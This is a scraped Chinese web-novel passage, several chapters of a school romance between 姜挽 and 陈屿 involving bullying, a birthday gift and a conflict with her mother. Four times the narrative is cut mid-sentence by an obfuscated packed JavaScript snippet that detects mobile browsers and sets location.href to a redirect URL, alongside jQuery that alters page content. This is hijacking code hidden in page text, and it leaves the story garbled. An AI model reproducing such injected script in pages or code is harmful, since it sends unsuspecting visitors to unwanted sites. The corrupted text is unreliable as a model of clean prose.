RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448273|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我一定二十四小时开机,不会错过任何一条你的消息。” 姜挽觉得他好笑:“它只是一只小猫,怎么可能听得懂你说什么。” “我知道,”陈屿头都不抬,“反正我这些话也不是说给它听的。” 一刹那,姜挽愣住了。这里只有她和小酒,不是说给它听的,那就只有一种可能,是说给她听的。 晚风乍起,送来一阵淡香。 这个刹那的瞬间,让姜挽明白过来,他对她,应该也有着不一样的感觉。 陈屿的出国行程安排得很快,基本上是和她说完后的第三天,便出发了。他这一走,原本传闻他要转学的谣言自然也就不攻自破了。 上午大课间,姜挽和尤伽从超市出来,她买了一点小酒爱吃的小鱼干,打算晚上拿给它。 陈屿这一走,照顾小酒的任务就全在她身上了。虽然人是少了点,她也不能让小酒感觉到被冷落。 “我就说吧,陈屿不是这样的人,他不会去美国上学的。”阴冷的天,尤伽“哐哐”往嘴里灌冰饮料,“现在就算让他转学去美国,他也不会去的,他舍不得某人呢。” 姜挽惦记着晚上要给小酒吃的东西,一时间也没注意她的话:“舍不得什么?” 尤伽笑着反问:“你说呢?” 两人正聊着,迎面突然走过来几道身影,挑染的发色,另类的校服,是苏青眠和她的那几个小跟班。 她明显是冲着姜挽来的,路那么宽,偏偏要和她对立,擦肩而过的瞬间,故意撞上姜挽的肩膀,冷面嘲笑:“有些人就是不长眼,看人的时候异想天开,没想到走路竟然也不看路。” 苏青眠话音一落,身边便立马有人帮腔:“是啊,某些人不要太没有自知之明,仗着自己成绩好,有几分姿色,就到处勾引男人,以为谁都会喜欢她,真是白日做梦!” 勾引,做梦,姿色…… 这些恶毒的语气和庸俗的用词,姜挽几乎不敢相信是从高中生嘴里说出来的。 她们的话指向性很明显,如果说之前她还是怀疑的话,那么现在就已经可以肯定了。苏青眠她们,就是因为陈屿的原因,才会故意打击报复她。 姜挽虽一向脾气温和,可也不代表不会生气,尤其还是这种涉及到原则的事情:“路这么宽,大家各走各的,互不干涉。如果不小心被撞了,那也一定是有人故意为之,走了不属于她的那条。” 她这话一语双关,路如此,人也是如此。 苏青眠有点愣住了,之前她几次见姜挽都觉得她是一个文弱的女孩,原本以为性格也是任人拿捏的那种,没想到竟然会这么硬。 她被顶了,脸上有点挂不住,也顾不得形象:“你他妈说什么呢?路和人,请问你哪样配得上?” 此话一出,姜挽还没说什么,倒是尤伽忍不了了,上次的排球事件她就看出来了,这苏青眠是故意针对姜挽的。作为朋友,她当然不能不管,更何况陈屿离开前,还特意找了孟云程拜托她,要照顾姜挽。 “你他妈找事呢?”尤伽可比姜挽脾气暴多了,“什么路呀人的,我听不懂,我就看见你故意撞她了。” “你怎么说话呢?”苏青眠几乎要跳起来了。 “我就这么说,一直都这么说,不服气你来啊!” 苏青眠要上,被她旁边的人劝下了,骂骂咧咧了两句,最后不情不愿地离开了,临走前,还不忘丢下一句:“你给我等着!” 一场闹剧,来得快,去得也快。 回去的路上,尤伽安慰姜挽:“别怕,她要是敢欺负你的话,我铁定不会放过她。” “没事,我不怕。” 姜挽确实不怕,她骨子里有一股韧劲,像破土而生的小草,又仿佛暴风雨中的新叶,只要是自己认定的,就一定会坚持下去。 28. 第 28 章 晚上,姜挽正蹲在地上喂小酒吃小鱼干,突然听到不远处有脚步声靠近,她抬头一看,又是白日里遇到的苏青眠她们几个。 随着她们的靠近,嘲讽的声音也跟着响起:“你可真会找地方躲,这种地方要不是跟着你过来,我们压根就找不到。” 她们来者不善,姜挽感觉到了。她摸了摸小酒的头,将手中剩下的小鱼干放在它的餐盘里,这才从地上起身。 虽未开口,可她身形修长,站得笔直,月色下,仿佛一株清雅冰洁的百合,浑身上下都透着一股坚韧劲儿。 苏青眠最看不惯她这样,上去就要推姜挽的肩膀:“你他妈少在我面前装!” 被姜挽皱着眉躲开了:“你们这样,不怕违反校规吗?” “校规?”苏青眠冷笑一声,“不过是用来约束你们这些穷鬼的枷锁罢了,你以为我会怕?别说校规了,就算是校长来了,在我爸面前,他也得给我面子!” 姜挽早猜到她背后有靠山:“你想怎么样?” “很简单,第一,你给我道歉;第二,你以后离陈屿远点,再不要和他有任何联系。”苏青眠说得流畅,很明显是一开始就计划好了的。 “我要是不同意呢?”隔着一段月色,姜挽和她对视。 “不同意?你有什么资格不同意?”苏青眠像是听到了什么笑话,嘴角快速抽搐了两下,“那你就得为你的选择付出代价。” 说着,她扬手,手掌冷刀子一样劈了过来,她是对准姜挽的脸的,却被姜挽一个抬手躲过了,最后巴掌落了空,拍在了姜挽的胳膊上,她当然不肯善罢甘休。 “你竟然还敢躲?真是不知道天高地厚!”苏青眠朝身后看一眼,“都给我上!” 三四个女生,眼见着就要扑过来,姜挽难免有些慌张,可她不能退,她也不会退。 也许这会儿她道个歉,或者假装答应她们的要求,就能避免和她们的冲突,躲过此劫,可姜挽不会这么做。 陈屿是她的底线,她的坚持,即便不能光明正大地说出来,但在自己的能力范围内,她会用尽全力去坚守。 一个巴掌过来,她躲过了。但还有第二个,第三个,眼见着就要接踵而来,突然,站在她对面的苏青眠猛地大叫一声,接着脚下狠狠一踢,骂骂咧咧道:“哪里来的野猫?” 她那几个小跟班瞬间便调转方向,忙着去查看她的情况。姜挽这才注意到,原来刚才是小酒扑到了苏青眠身上。 被踢了一脚后小酒也有点委屈,靠近姜挽脚边,来回蹭着她的裤管。姜挽忙蹲下去,一下下抚摸着它的后背:“别怕,没事。” 苏青眠的丝袜被抓破了,腿上留下了几道红痕,她龇牙咧嘴地对着姜挽骂:“原来这个畜牲是你养的,果然和你一样贱,去把它给我打死!” 姜挽连忙将小酒挡在身后,她们怎么对她,她无所谓,但是对小酒就是不行:“苏青眠,”她第一次叫她的名字,用一种赫然正派的语气,一种视死如归的决心,“你要是敢动它,我不会放过你。” 刹那间,苏青眠还真有点被吓到了,可惊吓过后,她又开始冷笑,是那种高阶层面对低阶层的蔑视,权力者面对普罗大众的玩弄:“你想怎么不放过我,我倒是想听听。仗着陈屿吗,可他现在不在这儿,你要给他打电话,远程求助?你大可以试试,看看到底是你的电话快,还是我的动作快。” “不用他,我也一样可以达到我的目的。”琥珀色的清亮瞳仁,迎着月色,有一股莫名的震撼,让她们不得不正视。 姜挽从口袋里掏出手机:“这里面的录音我一直开着,从你们过来开始,说的每一句话,每一次辱骂,都被录了进去,哦,对了,还有你们之前给我发的短信。” 听到这些,苏青眠的脸上一瞬间闪过恐慌。 姜挽靠近两步,和她对视:“或许你的父亲有着别人不可比拟的权势,在这个学校里,每人能把你怎么样,可出了这个学校呢?倘若这件事情在网上公开,你虐猫以及霸凌同学的事情就会被曝光,你觉得到了那个时候,你的父亲还能保你吗,有一个这样的女儿,对他就没有一点影响吗?” “你!”苏青眠恶狠狠地瞪着姜挽,她腿伤了,左右还需要人扶着:“把她手机给我抢过来!” “没用的,我手机设置了自动上传,就算你删掉了也没用。” “姜挽,你个贱人!” 姜挽现在已经不在乎她怎么骂了:“你现在马上离开这里,我可以保证这段录音永远不会泄露出去。” “我凭什么相信你?”苏青眠喊得凶,其实她心里已经有点没谱了。 “你没有别的办法。” 苏青眠有点犹豫了,趁着这个机会,她旁边的几个人也开始劝她,毕竟她们也只是跟着她混的小啰啰,她们的父母可没有什么权势,要是这段录音真传出去了,她们也没法和自己的父母交代啊。 “苏姐,要不我们还是先走吧,来日方长,没必要这会儿和她在这儿较劲。” “是啊,你这刚才还被猫抓了,得赶紧去医院打疫苗,要是一不小心感染了,风险可就大了。” “是啊,是啊,身体要紧,我们还是先去医院吧。” 周围叽叽喳喳的,苏青眠被吵得头痛,她大吼一声:“都别说了,先扶我去医院,”离开前,她冲着姜挽的方向点点手指,“晚点再来收拾你!” 她们一走,姜挽这才松了手机,指尖因为刚才的用力早已一片青白。其实她哪有什么录音,不过是诈她们的罢了。 她蹲下来,把小酒抱在怀里:“小酒,刚才多亏了你。” 小酒也像是听懂了她的话似的,把头埋在她的怀了,来回轻轻蹭着。 姜挽回到家,沈曼还没回来,她收拾完进房间后,突然收到一条陈屿的微信。 一张蓝天白云的照片,画面右上角还有一颗初升的太阳,橘红色的光晕照得整张照片像蒙了一层滤镜,很有意境。 她们两个现在有时差,姜挽算过了,她这边的晚上,正好是他那边的清晨。 指尖开始敲击,姜挽刚打算给他回条微信,陈屿的消息又进来了:【方便打视频吗?想把这里的天空分享给你看。】 姜挽有些犹豫,她们经常联系是不假,可都是打字或者发照片,像这种语音视频类的通话,以前从来没有过。 隔着文字,她可以斟酌,可以思考,也可以隐藏自己的情绪,但语音和视频就不一样了。一段传播迅速的电磁波,快到她来不及做任何准备,也怕掩饰不住自己的慌乱内心。 【还是发照片吧,照片也能看见。】 【有些东西照片看不清,更何况还有声音。再说了我在这边人生地不熟的,也没人能分享,就这一次,好不好?】 姜挽心软了:【好吧,那你等我一下。】 她放下手机,特意隔着门去听了下客厅的动静,见没人,又反身给卧室上了锁,这才给陈屿发了一条微信过去:【可以了。】 几乎是消息发出去的下一秒,微信页面便立马弹出了视频请求,姜挽清了清嗓子,按下了接通:“喂。” 首先映入眼帘的不是风景,而是陈屿那张五官优越的酷脸,他穿着黑色短袖,瞳仁深邃,表情懒散,隔着屏幕看,似乎比之前更帅了。 因这倒错的隐秘感,姜挽当即有些脸红:“风景呢?” “不急,你先调整一下你的摄像头。” 姜挽这会儿正坐在书桌旁,她原本以为只是为了看他那边的风景,也就没注意,这会儿被他提醒后才意识到她的摄像头确实有些歪了,只能看到她的下巴在里面,其余全是她身后的背景。 “往哪边调?” “你先调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448274|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,合适了我告诉你。” “这样可以了吗?” “再往左边一点。” “这样呢?” “右边一点。” “现在呢?” “再高一点。” …… 到最后,姜挽都有点没耐心了,陈屿还是很耐心地告诉她该如何调整。突然,她反应过来,开视频是为了看他那边的风景,其实她这边摄像头怎么样也不是很重要吧。 “要不我还是调回原来的位置吧,反正……” “好了,现在就行,可以了。” “可以了?”姜挽去看,这才发现此刻她的一张脸正正好好被框在画面里,那角度合适到显得她五官都被放大了,很别扭,“要不我还是再调一下吧?” “不用,”陈屿连忙拦住她,“就这样,位置很正。”说着,他把手机对向了天空,“看,是不是很美?” 视频里显示有掠过的鸟,有飘动的云,还有一声声的汽车鸣笛和风过树梢的声音,确实比刚才那张静态的照片生动多了,姜挽感叹:“好看,很美。” “是啊,确实很美。”陈屿在视频那头也说了一句。 只不过他们二人感叹的对象不一样,一个是对景,一个是对人。 风景看完了,两人一时间没了其他的话题,主要是姜挽,那种初次体验的青涩和尴尬慢慢开始流淌,她找不到合适的方式应对,最直接的解决方法就是逃避:“没有其他事情的话,我就先挂了。” “等一下,”陈屿在微信那头拦下她,“小酒今天怎么样?它还乖吗?” 提到这个,姜挽一时间有点黯然,她想到晚上那场对峙,想到苏青眠她们对她的为难,说实话,她有点生气,甚至想就这么告诉陈屿,可他现在在国外准备考试,不能影响到他:“它很乖,吃饭也很好。” “那你呢,你有没有遇到什么事情?这两天还好吗?”不知何时,陈屿已经再次把摄像头对向了他自己,一双漆黑的瞳仁,即便是隔着屏幕看过来,依旧是那么摄人心魄。 姜挽摇摇头:“没有,我也很好。” “那你乖乖的,等我回去给你带礼物。” 姜挽脸红了,趁机从屏幕里移开几分,岔开了话题:“你今天不用考试吗?” “今天不用,去看考场。” “什么时候去?” “已经在路上了。” “那你赶紧去,别耽误了事儿。” “没事,不着急。” 姜挽正想劝他,突然听到门外传来一阵开门的声音,应该是她妈妈回来了,她忙凑近屏幕,压低声音:“我妈妈回来了,我得先挂了。” 陈屿虽然舍不得,可还是按她的意思打算挂,挂断前,趁着她没注意,他伸手在她脸颊的位置轻轻碰了一下,很快退开:“好,那我不吵你了,你早点休息。” “嗯,拜拜。” “拜拜。” 沈曼回来后的第一件事,照例是先进姜挽的房间问她今天一天的学习情况。姜挽都是挑好的说,尽量不让她担心。可即便是这样,她还是发现了沈曼在和她说话的时候状态不太好,脸色看起来很疲惫。 “妈妈,你是不是工作太累了?要不要请假休息一下?” “没事,不用,最近月底,工作积压得多,是会忙一点,”沈曼像是不大想聊这个话题,三言两语便把话题再次绕回了姜挽的学习上,“你马上也快考试了吧,再加把劲,多把心思放在学习上,不要被其他事情影响,争取下次分数再提高一点。” 听到这话,姜挽有点心虚,她最近确实遇到了一些其他的事情,但还是开口:“好的,我知道了。” “那就好,”沈曼感叹,“妈妈没有别的想法,就希望你好好学习,将来考上一个好大学,能够出人头地,我就心满意足了。” 29. 第 29 章 陈屿紧赶慢赶,终于在姜挽生日当天回了国,他连家都没回,时差也没倒,拖着行李就直奔学校。 他到的时候刚好放学,孟云程见到他很惊喜:“不是吧,你他妈这么想我?这也没几天啊,你竟然连家都不回,直奔来学校见我?” 陈屿懒得搭理他,可也怕他嘴太碎一直念叨,于是随便扯了个理由:“我有东西忘记拿了,过来拿东西。” 孟云程当然不信,他只当是陈屿不好意思承认:“行了,和我还绕弯儿呢,快点,把东西拿出来吧。” “什么东西?”陈屿觉得莫名。 “当然是礼物啊,你这么着急忙慌地跑过来,难道不是为了给我送礼物?快拿出来,让我看看国外带回来的是什么好东西。” 陈屿觉得他要么就是太自恋,要么就是脑子坏掉了:“要我提醒你吗,我是去考试,不是去游玩。我很忙,没有时间搞这些。” 见他是认真的,孟云程垮了脸:“不是,你不够意思啊……” “孟云程,你话怎么这么多!”孟云程还想说些什么,突然被尤伽打断。孟云程可能没看懂,但尤伽却看得透彻,陈屿这一趟,是为姜挽来的。 “走,我们先回家,我有事问你。” 孟云程还是和之前一样,对尤伽的话言听计从,瞬间便转移了注意力:“你等我收拾东西,马上就好。” 又是一阵折腾的声音,等他们都走了,气氛才安静下来,陈屿终于找到机会和姜挽说两句话了:“这几天还好吗?” “挺好的,”姜挽对于他现在就来学校这件事也挺惊讶的,“你不是刚下飞机吗?怎么不在家里休息?”她虽没坐过长途航班,但之前也听人说过,“不倒时差的话,应该会很难受吧。” “不会。”陈屿何止是不难受,因为心里有期许,他这回来的一路甚至都处于一种亢奋的状态。 他自然地去拿姜挽的书包,像以往任何一次一样:“走,送你回家。” 姜挽看着他拿起,再利落地背上,也没说什么,只是提醒道:“小酒还没喂。” “那就先喂小酒。” 跟在他身后,看着他的背影,还有月光落下来的影子,姜挽突然觉得很安心。虽然他们分开了几天,可一切还是和之前一样,什么都没变。 喂完小酒,他们也没立刻走,就坐在路边的长凳上,陈屿从书包里拿出手机:“给你带了个礼物。” 他低头在手机里开始翻找,姜挽不明所以:“什么?” 话音落,突然听到一阵“哗啦啦”的声音,她还以为是下雨了,立马抬头去看,只见头顶风清月明,哪里有半分下雨的趋势。可那“哗啦啦”的声音确实还在继续,姜挽仔细辨了辨,这才发现那声音是从陈屿手机里发出来的。 “这是?” “送给你的礼物。” 姜挽还是没懂:“下雨的声音?” 陈屿笑了:“你再听听。” 姜挽便靠近了再次去听,这次她发现,这些“哗啦啦”的声音不是一直持续的,更像是随着某种频率,在一定程度的翻涌后,突然沉淀下来,再如此循环往复。 她灵光一闪:“是海浪。” 陈屿盯着她:“嗯,真聪明。” 他考试的附近有一片很出名的海滩,传说彼此相爱的两个人若能一起来此漫步,共听一场海浪的声音,那他们的爱情就一定会长久。 搁以前,陈屿是铁定不会相信这种事情的,并且看到别人做的时候说不定还会嗤之以鼻。可现在不一样了,他有了期许,自然也就有了软肋。 和其他所有相信爱情的人一样,面对和她有关的东西,他内心柔软得一塌糊涂。 姜挽觉得他这个礼物很新奇,也很浪漫,在她的印象里,陈屿其实并不经常这样做。 她贴近了去听,陈屿干脆把手机递到她手里。 “这片海滩其实有个很特别的名字,叫‘LoverBeach’。”陈屿边说,边去看她的表情,“LoverBeach”的意思,他相信姜挽肯定知道,可他就是要把这个强调出来。 “中文意思就是‘情人沙滩’,据说互相喜欢的两个人要是能同时听到这里的海浪声,他们的爱情就会天长地久。” 果然,他说完这句后,姜挽脸上的神色当即顿住了,瞬间收起了刚才的笑意,把手机还给了他。 也许是摇曳的树影使人柔软,也许是不愿错过这么好的机会,陈屿趁热打铁,在这片朦胧的树影下再次开口:“如今看来,我们也算是一同听过这片海浪的声音了,你说,我们会不会像传说的那样,以后……” 像是怕他说出后面的话,姜挽连忙打断他:“这只是传言罢了,没什么可信度。” 一句话,陈屿就清醒了,他也意识到自己刚才有些太着急了,虽不愿意,还是违心地点了点头,没再继续这个话题。 气氛一时冷了下去,周围只有晚风卷着树梢的声音。 姜挽有点尴尬,毕竟刚才的气氛是她破坏的,于是便试图再次找话题开口:“刚才不是听你和孟云程说没时间吗,怎么还去海滩了?” “给他买东西当然没时间了。”陈屿说的当然,顺势伸长两条腿,懒散地靠在椅背上。他拉开书包拉链,去翻找,很快,拿出来一个四四方方的盒子:“送给你。” 姜挽担心这又是和刚才一样的东西,有点不敢接。 陈屿似乎看出了她的心思,勾了勾唇角,解释道:“放心吧,不是刚才的海浪了。刚才是骗你的,这次才是真正的礼物。” 他看向她,就在这月色与星辉的交替下,突然开口:“姜挽,生日快乐。” 一瞬间,姜挽怔在那,有什么东西涓涓地从她心底开始往外冒,像是感动,但似乎又比感动浓烈得多。浓得她鼻酸,烈得她不得不扭过头缓一缓。 他竟然记得今天是她生日。 而且,他还是第一个和她说生日快乐的人。 因为如今这复杂的家庭关系,姜挽其实并没有告诉过任何人今天是她的生日,她也并不打算庆祝。 所以, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是,我怕我妈妈看见。” 一听是这个理由,陈屿也没再追问,配合着她,将手链取下来,再次放回了包装盒里。 整个过程,姜挽的动作都十分小心,每一步都保持着所有原来的包装,就连最外层的那条绿色丝带,她也是尽量按着原来的样子系起来。 陈屿告诉她不用这么麻烦,可她却依旧坚持,坚持仔细系好,坚持保持原貌。 其实,关于她刚才为什么要把手链收起来,姜挽有一点还没说,除了她妈妈的原因外,更重要的是因为她自己舍不得。 他送给她的东西,她根本就舍不得戴。 等她收拾好后,陈屿问她要不要去吃饭,姜挽明白他的意思,可还是拒绝了,现在去的话,就需要问沈曼,姜挽觉得她不会同意的。 在这方面,陈屿完全尊重她的意见:“行,那就直接送你回家。” 30. 第 30 章 姜挽到家的时候,沈曼还没回来,想着她应该不会回来太早,姜挽便想先去洗个澡。离开前,她将手链拿出来放在书桌上,打算一会儿回来再收起来。 可等她从浴室出来的时候,却发现自己的房门被打开了,门锁和门框间有一条缝,透过那缝隙,能看到光线从屋□□出来。 一瞬间,姜挽感觉全身的血液都在往上涌。会去她房间的只有沈曼一个,而那条手链此刻就摆在书桌上…… 姜挽不敢再往下想,她一把扯掉头上的毛巾,快步朝卧室走,推开门,果不其然就看到沈曼正站在她书桌前,拿着手链的包装盒正四处打量。 “妈,你今天怎么这么早就回来了?”姜挽走过去,尽量保持着自己的声音正常。她虽在和沈曼说话,可眼神却一直盯着她手中的盒子。 沈曼抬头看她:“今天公司的电脑临时出了点问题,没办法继续加班,所以就提早回来了。” “哦,那你吃过晚饭没有?” “还没有。” “我也还没有,”趁着这个机会,姜挽赶紧开口,“要不我们先出去弄点吃的吧。” “先等一下,”可沈曼却并不着急,她视线再次落回刚才的盒子上,指尖当即就要去解最外层的那条丝带,“这是什么?” “不是什么重要的东西,”姜挽突然打断她,声音很急,话出口,她才意识到自己有点情急了,忙又缓下声音,“就是我同学送我的东西而已。” “同学送给你的?”沈曼重复她的话,语气里听不出来什么情绪,只是稍停顿了会儿,继而开口,“那我看一眼。” 说罢,也没询问姜挽的意见,她便伸手把包装打开了,看到盒子里装着的那条手链,她似乎有点不解:“手链?” 姜挽垂着眸,没应声,她实在是不知道该如何回答她这问题。 也是从她这沉默里,沈曼看出了点其他的东西,她迅速上头,情绪赫然变得敏感又尖锐:“哪个同学送给你的?男生还是女生?” 姜挽就怕她这样,所以一开始才不敢让她看见:“妈,不是你想的那样。” “那是哪样?”一瞬间,沈曼脸涨得通红,能看出来她心跳也很快,“你老实告诉我,是男同学送给你的对吧?你和他是什么关系?是不是已经在一起了?” 姜挽着急解释:“没有。” “没有他送你手链?”沈曼大吼一声,脸上的神情已经全然变了,眉间皱成一团,眼底似有一团火,透过那团火,她冷漠开口,“你当我傻吗?这种东西,是普通同学之间会送的吗?” 姜挽被她吓到了:“妈……” “你别叫我!”沈曼推开她,一把将盒子扔在书桌上,“你真是太让我失望了,我和你说过多少次了,让你在学校里好好学习,不要想一些乱七八糟的事情,交一些乱七八糟的朋友,你就是不听!现在倒好,不仅事情做了,竟然还学会瞒着大人了,我看你真是胆大包天,把我的话全忘了!” 沈曼以前也会这样,平时看起来都很好,待姜挽也耐心温柔,可一旦触碰到她的雷区,让她不顺心了,就会立马像变了一个人似的,变得歇斯底里起来。 姜挽担心她的身体,也不敢再多说什么,只是一个劲地重复:“不是你想的那样,我们真的什么都没有。” 沈曼继续压上一步:“那好,既然你说你和他什么都没有,那你现在就把这东西扔掉。你扔掉了,并且保证以后再不和他联系,我就相信你。” 一瞬间,姜挽不可置信地看着她,没答话。 其实沈曼提这种无理的要求也不是第一次了,之前也有过,但考虑到各种各样的原因,姜挽每一次也都同意了。 可这次,她却突然不想了,她心里很清楚,她不想扔掉陈屿送给她的这个礼物,也不会扔掉。 生平第一次,她拒绝了沈曼:“我不会扔的。” “你说什么?”沈曼简直要气疯了,眼神偏执得厉害,扬起手就要打她,姜挽也不躲,就那么硬生生和她对视着。 “你到底怎么了?怎么突然变成这样了?” “妈,你一定要这样吗?”姜挽眼中有泪,灯光下,像一粒粒闪着亮光的珍珠,“你还记得吗,今天是我的生日。” 听到这句话,沈曼当即呆愣在原地,眼神里有一闪而过的愧疚,高高扬起的巴掌,最终也没有落下。 但她很快恢复到刚才的状态:“所以,你是在怪我?怪我忘记了你的生日,怪我没有给你准备礼物?” “我没有,我也不会,”姜挽很坚定,“我知道我们现在的处境,我也知道妈妈你要维持我们的生活有多辛苦,所以我从来就没有这样想过。我只是希望你能相信我,就像我相信你一样,可以吗?” “我没有不相信你,我做的一切都是为你好。”沈曼还是坚持自我,就在她还打算继续往下说的时候,门外客厅里突然传来一阵脚步声。 很快,那脚步声来到姜挽门外停下了,隔着门,拍了两下:“这么晚了,还让不让人休息了,能不能消停会儿?” 是谭镜。 这种语气,这种情况,姜挽已经见得很多了,可她不确定沈曼有没有见过,忙去看她的脸色,果然,沈曼脸上此刻呈现出一种尴尬和屈辱交织的神色。 这里不是她们的家,只有她们两个相依为命。 姜挽一瞬间又后悔了:“妈妈,对不起,我不应该和你吵架的。” 沈曼似乎很累,疲倦地摆了摆手:“今天太晚了,你早点休息吧,有什么事情明天再说。” “嗯,你也早点休息。” 沈曼离开后,姜挽忙将手链的包装盒再次小心整理好,然后翻到衣柜的里层,和陈屿之前送她的那套衣服放在了一起。 隔天一早醒来,姜挽一睁眼便看见书桌上摆着一个小蛋糕,旁边还有一张纸条,只有简简单单八个字:生日快乐,好好学习。 很明显,这是沈曼留给她的。 洗漱完,姜挽拿起叉子开始吃,这会儿她的房间里一派宁静,阳光透过玻璃窗照进来,蒙蒙的一层光晕,照得屋内的陈设仿佛都有一股古朴简约的美。 一切都太过祥和,好似昨晚的那场争吵并未发生过一样,但姜挽知道,并不是这样。 从那天之后,沈曼再没和她提过扔掉手链的事情,可对她却比之前管得更严了。 早上一定要送她去公交站,亲眼看着她上车后才离开。晚上更是坚持去站台接她,即便是有工作,也会先接姜挽,然后继续在家里加班。 这样一来,姜挽每天的时间几乎都被她全权把控了,一点私人的空间都没有,就连喂小酒,这几天也都是陈屿代劳。 对这件事,陈屿倒是愿意,他只是好奇为何她最近的时间会变得如此严苛。 某日放学后,姜挽照例把提前准备好的食物交给陈屿,拜托他帮忙喂小酒。 陈屿没接,他看一眼窗外的天色,不由皱眉。 狂风大作,暴雨如注。 “你打算现在回家?” “嗯,现在就走。” 姜挽东西已经收拾得差不多了,正打算起身,却突然发现凳子挪动不了,低头一看,才发现是被陈屿抵住了。 “?” “现在外面雨太大,你等一会儿再走。” “不碍事,我带了伞。” “那也不行,外面风那么大,一出门肯定连人带伞把你吹走。”陈屿还是不松开。 姜挽有点着急,她知道沈曼一定会按时在站台等她的:“真不行,我现在就得走。” 陈屿疑惑地看着她:“什么事这么着急,一定要你冒着大雨走?” 姜挽没答,可手上的动作却没有任何变化,很明显,她还是坚持要走。 “那行吧,我打个车,送你回家。” “不用,”姜挽忙拒绝,是比刚才还要更加明显的抗拒,“我自己回去就行。” 这也不行,那也不行,陈屿被她搞得有点无奈,他是不会允许她在这种天气一个人冒雨回去的。更何况他还能看出来,她有事没和他说。 “一定要现在回去?” “嗯。” “那好,那你告诉我,你这么着急冒雨回去的原因是什么。” 同样的问题,姜挽还是和刚才一样的表情,她没回答,低着头,眼睫也跟着垂了下来。她是真不知道该如何开口。 陈屿烦躁地撸了一把头发,松开脚,一把从桌上拿起她的书包:“真是拿你一点办法都没有。” 反应过来他是打算和之前一样送她到公交站后,姜挽忙拦下他:“你不用送我,我自己去站台就行。” 她自己冒雨去坐车可以,但让陈屿陪她,她做不到。 偏偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448276|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈屿也是个倔性子:“那你自己选,要么我送你去公交站,要么我打车送你回家。” 姜挽抿了抿唇角,最后还是决定选第一种,让陈屿送她到公交站。 伞是陈屿的,比她的大,可即便空间足够,在这种风雨加持的情况下,被打湿衣服也是迟早的事儿。 姜挽原本都已经做好被淋湿的准备了,可过去的一路,陈屿几乎全程都把她挡在身后。等到了站台姜挽才发现,她身上倒是没怎么湿,可陈屿半边身子都湿透了,正滴滴答答地往下落着水滴。 即便是这样,他的第一句话还是问她:“淋湿没?” 姜挽摇摇头:“没有。” 对她的回答,陈屿似乎有点不放心,收了雨伞,又拉着她的手腕仔细检查了一遍,确认她只是鞋子和裤脚沾了水后,才松了一口气。 姜挽任由他拉着:“可是你淋湿了。” “没事。”陈屿故意转身,将淋雨的那侧肩膀转向外面,这样一来,就不在她的视线内了。 车还没来,他怕她着急:“下雨天估计有点堵车,再等一会儿。” “嗯。”姜挽应一声,她这会已经看不到他淋雨的那侧肩膀了,可还是能看到每一次落下来的水滴,砸在地上,溅起小幅度的水花。 外面的雨声那么大,姜挽还是清晰听见了那些雨滴每一次落地的声音,像是一滴滴落在她的心头。 不间歇的暴雨,潮湿的空气,还有此刻就站在她旁边的陈屿,看着这一切,姜挽的内心突然开始翻涌。她其实知道,陈屿一直都是站在她这边的,所以,有些事情,她或许也可以告诉他。 “陈屿。”她突然叫他,声音不大,在这雨声里甚至显得有些微弱,可陈屿对她的声音很敏感,还是很清楚地听到了:“嗯?” “我这么着急回去,其实是因为我妈妈。” 说完这句,姜挽抬眸去看他的眼睛,见他正注视着自己,那里头的目光温暖绵长,丝毫没有催促和审判的意味,好似在说,她说什么,他都会听。 被这样的目光注视着,姜挽没再犹豫,一口气把手链被她妈妈发现,她妈妈要求她必须按时回家,以及她父亲去世,如今她和她妈妈是借住在舅舅家的事情,全和他说了。 可说完后,却长时间没有听到陈屿的回答。刹那间,姜挽有些后悔了,她承认自己刚才有些过于冲动了。她不能因为陈屿对她好,就得寸进尺,就更进一步地想让他来听自己倾诉这些。 这样不对,也不应该。 尴尬,后悔,还有完全坦露自己之后的一种卑怯,几种情绪交织在一起,姜挽一时竟不知该如何结束这话题了。 不远处似有车灯,她一把从陈屿手中拿过书包:“车来了,我先走了。” 可在她转身的一瞬,身体却突然跌入一个怀抱,虽然很短,很快便松开了,可那确实是一个拥抱,因为她能感受到他胸膛的温度和身上的淡香。 “对不起。”陈屿开口先是和她道歉。 姜挽眨了下眼睛,有点没懂。 “我没想到一个礼物会给你带来这么多风波,也没想到……”她竟然一直生活在这种环境下。 难怪她之前从不聊自己的父母,之前提到父亲时,她的脸上总会浮现出忧伤,也难怪她待人总会有一种淡淡的疏离感。 以往那些陈屿不理解的细节,在今天都一一得到了对应,原来,那些不过都是她保护自己的一层外壳罢了。 